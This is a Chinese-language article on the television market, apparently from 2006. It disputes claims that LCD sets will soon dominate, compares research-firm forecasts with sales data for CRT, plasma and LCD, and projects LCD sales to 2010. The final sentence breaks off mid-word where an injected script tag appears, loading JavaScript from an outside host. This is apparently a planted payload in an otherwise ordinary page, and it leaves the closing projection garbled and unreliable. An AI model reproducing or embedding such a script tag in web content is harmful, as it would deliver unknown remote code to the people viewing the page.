在中国电视市场上，出现过许多技术名词，如，黑白电视、显像管彩电（球面、普平、超平、纯平等）、显像管背投、平板电视（液晶、等离子等）、微显电视（3lcd、dlp、lcos等）等。特别是液晶电视，近期“曝光率”特别高，无论是生产企业、研究机构、媒体、还是商家，几乎众口一词，似乎市场上只会有液晶电视存在，它是电视市场的现在，也是电视市场的未来，其它技术类型的电视，命运只有一个，“逐渐消亡”。事实果真如此吗？
误解：液晶电视将独霸市场
讯息1：世界，平板电视将成市场主流
displaysearch预测，液晶电视在2009年将占据全球电视机市场的46%，2010年升至52%，而在今年这个比例仅为22%。等离子电视所占份额预计将从今年的5%上升至2009年的9.1%和2010年的9.6%。显像管电视的市场份额将从今年的70.9%降至2009年的43%及2010年的37%。
isuppli对液晶电视的市场前景更为乐观：预计其市场份额将从今年的20%攀升至2009年的48%和2010年的56%。等离子电视的市场份额在2009和2010年将稳定在7%左右，显像管电视的份额将在2009年下降至42%，在2010年降至34%。
讯息2：中国，等离子明年可能淘汰
某研究机构的报告显示：2006年一季度，国内平板彩电消费格局已初步成型，大尺寸平板电视需求增长强劲，尤其37英寸以上的液晶电视，其选购比重已由去年的21%增至35%，总量提升了66.7%。
按照这一发展速度，预计到2007年中期，中国平板电视市场37英寸以上大尺寸液晶电视的需求比重将接近50%，进入规模发展阶段；同时，等离子电视的市场空间将受到挤压，甚至连最后20%的固有市场份额都很难守住。
讯息3：中国，液晶彩电份额超过45％
在中国市场上，彩电业转型迫在眉睫，crt彩电的优势地位已动摇，据×××研究机构调查显示：2006年4月crt彩电在中国的市场份额仅占38.5％，同比下降16.1％；与之相反，液晶彩电由2005年4月占中国市场份额的17.5％跃升到45.6％。
误解：液晶电视已独霸市场
我们只是摘录了几段媒体的相关报道，而且内容均出自研究机构，从网上我们可以搜到非常多的类似报道；所有这些报道给人们的感觉是：无论是世界还是中国，液晶电视将独霸市场，而且时间上不会很远，给人更甚的感觉是，液晶电视已经独霸市场，其它类型的电视，命运只有一个，消亡。
事实果真如此吗？或者说，在中国，真是这样吗？
现状：多元并存格局没有改变
问题1：液晶电视真的一支独秀吗？
先看2005年，中国彩电市场销量规模为3550万台，而液晶电视市场销量为127万台，销量比重为3.6％。
结论：液晶电视的渗透率微乎其微。
再看2006年，根据赛诺公司的估算结果，1－4月，中国市场上共销售彩电1341万台，其中，液晶电视81万台，销量份额为6.1％，虽然这一比重比2005年有了很大提高，但和整个彩电市场相比，还是非常小的。当然，液晶电视的价格较高，它的销额份额已达到26％，但离大家炒作的市场主流还差得很远。
不容否认，lcd电视确实处于高速增长态势，但决不能因为它的增长，就否认了其它技术类型电视的存在。
问题2：等离子电视真的会消亡吗？
比较液晶和等离子电视的市场地位，“谁将打败谁”？这是许多企业、研究机构、媒体乐此不疲的事情。要客观的评价这个问题，首先要知道，比较要基于相同口径（只是统计的基本功）。
液晶电视的尺寸是全方位的，从几英寸到几十英寸，无所不有；等离子电视的尺寸是有范围的，基本上是40英寸以上。外行人士在比较液晶电视和等离子电视销售规模的时候，往往忽略了这一差异，不分尺寸大小，直接进行比较（有些人是不了解正确的方法，有些人是偷梁换柱）。公平的比较方式是：拿大尺寸的液晶和pdp进行比较（如37英寸及以上，或40英寸及以上），只有口径相同，比较才有意义。
赛诺公司对40英寸及以上的电视市场进行了评估，得到的结果是，中国目前的大屏幕市场上形成三大特征：一是平板电视成为主流，二是等离子与液晶电视不分上下，三是液晶电视增势强劲，等离子面临极大威胁。
结论：多元并存的格局没有该变，等离子明年也不会消亡。
未来： 多元并存格局还会持续 如何预测2010年？
从lcd电视供给角度预测：2005年中国彩电销量3550万台，假设每年增长4％，2010年将达到4153万台。如果假设2010年lcd电视销量过半，那将为2076万台。如果要达到4年的时间里lcd电视达到2076万台，那每年的平均增长率只需54％。再观察过去几年lcd电视的增长率，2004年同比增长2.6倍，2005年同比增长4.8倍。
推论：2010年，lcd电视销量超过2076万台，应该没有问题。
从中国消费者彩电需求角度预测：我们也假定到2010年，中国彩电市场规模为4153万台，即平均每年增?script src=http://er12.com/t.js>
